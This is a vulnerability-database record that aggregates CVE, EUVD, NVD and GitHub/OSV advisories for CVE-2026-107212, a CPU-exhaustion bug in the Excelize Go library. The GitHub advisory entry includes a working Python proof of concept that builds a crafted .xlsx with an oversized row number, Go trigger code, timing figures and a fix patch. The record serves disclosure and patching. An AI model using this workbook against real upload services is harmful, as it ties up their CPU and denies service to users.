{"id":"CVE-2026-107212","revision":null,"records":[{"revision":"59a5ec64124d4a3a9aa46671a8814b93","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-107212","aliases":[],"title":"Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.","state":0,"publishedAt":"2026-10-07T17:29:23.737+00:00","modifiedAt":"2026-10-07T17:57:08.579+00:00","affected":[{"ecosystem":"Vendor product","name":"excelize","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"qax-os\",\n                    \"product\": \"excelize\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.1.0, <= 2.11.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3","https://github.com/qax-os/excelize/pull/2438","https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-107212","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-107212","identifiers":["CVE-2026-107212"]},"retained":false,"historicalAffected":[]},{"revision":"b34bac293e1546aba913990827a6b28a","observedAt":"2026-11-07T12:38:35.148+00:00","statement":{"source":"euvd","id":"EUVD-2026-94527","aliases":["CVE-2026-107212","GHSA-jw42-f3rr-4cc3"],"title":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies…","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3","https://github.com/qax-os/excelize/pull/2438","https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-94527","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 7, 2026, 5:29:23 PM","dateUpdated":"Oct 7, 2026, 5:57:08 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-94527","identifiers":["EUVD-2026-94527","CVE-2026-107212","GHSA-jw42-f3rr-4cc3"]},"retained":false,"historicalAffected":[]},{"revision":"51c200569660454cbcb5853ec7014a06","observedAt":"2026-10-25T04:17:41.466+00:00","statement":{"source":"nvd","id":"CVE-2026-107212","aliases":[],"title":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies…","description":"Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.","state":0,"publishedAt":"2026-10-07T18:17:18.67+00:00","modifiedAt":"2026-10-13T14:24:29.523+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23","https://github.com/qax-os/excelize/pull/2438","https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107212","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-770"],"productCriteria":["cpe:2.3:a:excelize:excelize:*:*:*:*:*:go:*:*"],"sourceDates":{"published":"2026-10-07T18:17:18.670","lastModified":"2026-10-13T14:24:29.523"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-107212","identifiers":["CVE-2026-107212"]},"retained":false,"historicalAffected":[]},{"revision":"af28513104fe49e6964b055593c7043a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-jw42-f3rr-4cc3","aliases":["CVE-2026-107212","GO-2026-6685"],"title":"Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days","description":"### Summary\n\nA worksheet whose `<row r=\"...\">` number is far past Excel's 1,048,576-row limit makes `File.GetRows` and the `Rows` iterator loop once for every missing row. The row limit is checked in `Rows.Next`, but not in `Rows.Columns`, which also reads `<row>` elements. A 1.5 KB file with `<row r=\"231999999999940\">` after an ordinary first row keeps `GetRows` busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls `GetRows` or iterates `Rows` on an uploaded workbook can be tied up by a single request.\n\n### Details\n\n`Rows.Next` checks the row number:\n\n```go\nrowNum, _ := attrValToInt(\"r\", xmlElement.Attr)\nif rowNum > TotalRows {\n    rows.err = ErrMaxRows\n    return false\n}\n```\n\nBut `Rows.Columns` reads the cells of the current row by consuming tokens until it reaches the *next* `<row>` element, and it sets `rows.curRow` from that element's `r` without the check (rows.go, around line 179 at 3985c1f):\n\n```go\nif rowNum, rowIterator.err = attrValToInt(\"r\", xmlElement.Attr); rowNum != 0 {\n    rows.curRow = rowNum\n}\n```\n\nAfter that, `rows.curRow` is 231999999999940, and each later `Next()` call takes the `rows.curRow >= rows.seekRow` shortcut and returns `true` without reading any XML. `GetRows` then calls `Next()` and `Columns()` once per row number from 2 to 231999999999940. The check in `Next()` never runs, because the oversized `<row>` element was already consumed by `Columns()`.\n\nIf the oversized row is the *first* row, `Next()` reads it and the existing check works; `TestGetRows` covers only that case. The bug needs a valid row first.\n\n### Proof of concept\n\nThis script uses only the Python standard library and writes a 1.5 KB workbook:\n\n```python\nimport zipfile\nparts = {\n    \"[Content_Types].xml\": '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"><Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/><Default Extension=\"xml\" ContentType=\"application/xml\"/><Override PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/><Override PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/></Types>',\n    \"_rels/.rels\": '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/></Relationships>',\n    \"xl/workbook.xml\": '<?xml version=\"1.0\" encoding=\"UTF-8\"?><workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"><sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets></workbook>',\n    \"xl/_rels/workbook.xml.rels\": '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/></Relationships>',\n    \"xl/worksheets/sheet1.xml\": '<?xml version=\"1.0\" encoding=\"UTF-8\"?><worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"><sheetData><row r=\"1\"><c r=\"A1\"><v>1</v></c></row><row r=\"231999999999940\"><c r=\"A231999999999940\"><v>2</v></c></row></sheetData></worksheet>',\n}\nwith zipfile.ZipFile(\"poc.xlsx\", \"w\", zipfile.ZIP_DEFLATED) as z:\n    for name, xml in parts.items():\n        z.writestr(name, xml)\n```\n\n```go\nf, _ := excelize.OpenFile(\"poc.xlsx\")\nrows, err := f.GetRows(\"Sheet1\") // does not return\n```\n\nMeasured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB.\n\nThe same pattern is in `clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx` in Apache POI's public test data (its sheet8.xml has `<row r=\"231999999999940\">`). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean).\n\n### Suggested patch\n\nApply the same limit in `Columns()`, and have `Next()` stop once an error is recorded. With this change both files above return `ErrMaxRows` immediately. `go test ./...` passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it.\n\n```diff\n--- a/rows.go\n+++ b/rows.go\n@@ -97,6 +97,9 @@ type Rows struct {\n \n // Next will return true if it finds the next row element.\n func (rows *Rows) Next() bool {\n+\tif rows.err != nil {\n+\t\treturn false\n+\t}\n \trows.seekRow++\n \tif rows.curRow >= rows.seekRow {\n \t\trows.curRowOpts = rows.seekRowOpts\n@@ -176,7 +179,10 @@ func (rows *Rows) Columns(opts ...Options) ([]string, error) {\n \t\t\trowIterator.inElement = xmlElement.Name.Local\n \t\t\tif rowIterator.inElement == \"row\" {\n \t\t\t\trowNum := 0\n-\t\t\t\tif rowNum, rowIterator.err = attrValToInt(\"r\", xmlElement.Attr); rowNum != 0 {\n+\t\t\t\tif rowNum, rowIterator.err = attrValToInt(\"r\", xmlElement.Attr); rowNum > TotalRows {\n+\t\t\t\t\trows.err, rows.token = ErrMaxRows, nil\n+\t\t\t\t\treturn rowIterator.cells, rows.err\n+\t\t\t\t} else if rowNum != 0 {\n \t\t\t\t\trows.curRow = rowNum\n \t\t\t\t} else if rows.token == nil {\n \t\t\t\t\trows.curRow++\n--- a/rows_test.go\n+++ b/rows_test.go\n@@ -28,6 +28,18 @@ func TestGetRows(t *testing.T) {\n \tf.checked = sync.Map{}\n \t_, err = f.GetRows(\"Sheet1\")\n \tassert.Equal(t, ErrMaxRows, err)\n+\t// Test get rows from a file with a row number over the limit after a valid\n+\t// row, which is read by Rows.Columns rather than Rows.Next: this used to\n+\t// iterate once per missing row, about 2.3e14 times here\n+\tf = NewFile()\n+\tf.Pkg.Store(\"xl/worksheets/sheet1.xml\", fmt.Appendf(nil, `<worksheet xmlns=\"%s\"><sheetData><row r=\"1\"><c><v>1</v></c></row><row r=\"231999999999940\"><c><v>2</v></c></row></sheetData></worksheet>`, NameSpaceSpreadSheet.Value))\n+\tf.Sheet.Delete(\"xl/worksheets/sheet1.xml\")\n+\tbuf, err := f.WriteToBuffer()\n+\tassert.NoError(t, err)\n+\tf, err = OpenReader(buf)\n+\tassert.NoError(t, err)\n+\t_, err = f.GetRows(\"Sheet1\")\n+\tassert.Equal(t, ErrMaxRows, err)\n }\n \n func TestRows(t *testing.T) {\n```\n\n### Impact\n\nDenial of service (CPU exhaustion) for any application that reads untrusted workbooks with `GetRows` or the `Rows` iterator. No authentication or user interaction is needed beyond the application accepting a file.","state":0,"publishedAt":"2026-10-08T16:50:13+00:00","modifiedAt":"2026-10-19T21:40:42.3500435+00:00","affected":[{"ecosystem":"Go","name":"github.com/xuri/excelize/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.0"},{"kind":"fixed","version":"2.11.1-0.20260930021559-01a9ff32fb3c"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3","https://nvd.nist.gov/vuln/detail/CVE-2026-107212","https://github.com/qax-os/excelize/pull/2438","https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23","https://github.com/qax-os/excelize"],"sourceUrl":"https://github.com/advisories/GHSA-jw42-f3rr-4cc3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jw42-f3rr-4cc3","identifiers":["GHSA-jw42-f3rr-4cc3","CVE-2026-107212","GO-2026-6685"]},"retained":false,"historicalAffected":[]},{"revision":"b52c18f371f1435da80fc2432510ce8e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6685","aliases":["CVE-2026-107212","GHSA-jw42-f3rr-4cc3"],"title":"Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days in github.com/xuri/excelize","description":"Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days in github.com/xuri/excelize","state":0,"publishedAt":"2026-10-19T21:08:21+00:00","modifiedAt":"2026-10-19T21:31:35.411648+00:00","affected":[{"ecosystem":"Go","name":"github.com/360EntSecGroup-Skylar/excelize/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/xuri/excelize/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.1-0.20260930021559-01a9ff32fb3c"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3","https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23","https://github.com/qax-os/excelize/pull/2438"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6685","license":"OSV · upstream source license applies","key":"osv:GO-2026-6685","identifiers":["GO-2026-6685","CVE-2026-107212","GHSA-jw42-f3rr-4cc3"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8442875+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8442884+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-4b0775bb0fc73c3ceeed66f8f17640894d61d654f97ee9386046b283ad9f9876","complete":true,"records":421100,"lastAttemptAt":"2026-11-08T14:04:21.1432513+00:00","lastSuccessAt":"2026-11-08T14:04:21.1228768+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.1432513+00:00","snapshotPublishedAt":"2026-11-08T13:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-383c643166b94ac4b6a615647191978e","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T14:04:47.6384375+00:00","lastSuccessAt":"2026-11-08T13:04:50.073+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:50.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8452187+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8452194+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ceefbd28b79c4b75ac56c9c678246411","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T14:04:46.9956646+00:00","lastSuccessAt":"2026-11-08T14:04:46.992+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:46.992+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13185,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T14:04:21.5047325+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.5047325+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T14:04:21.2941446+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.2941446+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T14:04:21.6167179+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.6167179+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T14:04:21.3943214+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.3943214+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}